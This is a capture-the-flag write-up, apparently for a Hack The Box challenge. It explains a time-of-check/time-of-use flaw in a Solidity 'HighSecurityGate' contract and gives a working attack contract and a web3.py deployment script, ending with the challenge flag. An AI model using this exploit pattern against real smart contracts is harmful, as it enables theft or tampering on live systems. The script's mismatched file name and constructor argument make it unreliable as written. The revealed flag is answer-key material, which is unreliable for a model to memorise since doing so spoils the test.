Tags: web3py
Rating: 4.5
The challenge gives this contract and checks if lastEntrant is "Pandora" as a solution.
```solidity
# HighSecurityGate.sol
pragma solidity ^0.8.18;
interface Entrant {
function name() external returns (string memory);
}
contract HighSecurityGate {
string[] private authorized = ["Orion", "Nova", "Eclipse"];
string public lastEntrant;
function enter() external {
Entrant _entrant = Entrant(msg.sender);
require(_isAuthorized(_entrant.name()), "Intruder detected");
lastEntrant = _entrant.name();
}
function _isAuthorized(string memory _user) private view returns (bool){
for (uint i; i < authorized.length; i++){
if (strcmp(_user, authorized[i])){
return true;
}
}
return false;
}
function strcmp(string memory _str1, string memory _str2) public pure returns (bool){
return keccak256(abi.encodePacked(_str1)) == keccak256(abi.encodePacked(_str2));
}
}
```
The problem with this contract is a Time Of Check Time Of Use (TOCTOU) at the enter function. Because it calls entrant.name() to check for a valid name and then calls it again to store it's value. However, there is no guarantee that the function will return the same value because it is external (it calls the name function from the calling contract if it implements the Entrant interface).
This is the contract I implemented with a malicious name() function and a call to the HighSecurityGate.
```solidity
contract Attack is Entrant {
bool public repeat;
function exploit(HighSecurityGate hsg) external {
repeat = false;
hsg.enter();
}
function name() external returns (string memory) {
if (!repeat){
repeat = true;
return "Orion";
}
return "Pandora";
}
}
```
And this is the code to call the contract:
```python
from web3 import Web3
from solcx import compile_files
addr = "0x5345bC5dCc507780cB1e8D70bcd05851Eb7092CE"
target = "0x73D5cB24a5e2aB0AE0086a29BD2a2027e4Ec995a"
compiled = compile_files(["FortifiedPerimeter.sol"], output_values=["abi,bin"], solc_version="0.8.18")
abihsg = compiled["FortifiedPerimeter.sol:HighSecurityGate"]["abi"]
abiatk = compiled["FortifiedPerimeter.sol:Attack"]["abi"]
binatk = compiled["FortifiedPerimeter.sol:Attack"]["bin"]
w3 = Web3(Web3.HTTPProvider("http://159.65.81.51:31263"))
w3.eth.default_account = addr
# Attack contract creation
atk = w3.eth.contract(abi=abiatk, bytecode=binatk)
tx_hash = atk.constructor(addr).transact()
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
atk_addr = tx_receipt['contractAddress']
print("Attack contract adress:", atk_addr)
# Exploit function execution to target contract
atk = w3.eth.contract(abi=abiatk, address=atk_addr)
atk.functions.exploit(target).transact()
# Checks lastEntrant value (just to be sure)
hsg = w3.eth.contract(address=target, abi=abihsg)
print("lastEntrant =", hsg.functions.lastEntrant().call())
```
The flag is: `HTB{H1D1n9_1n_PL41n_519H7}`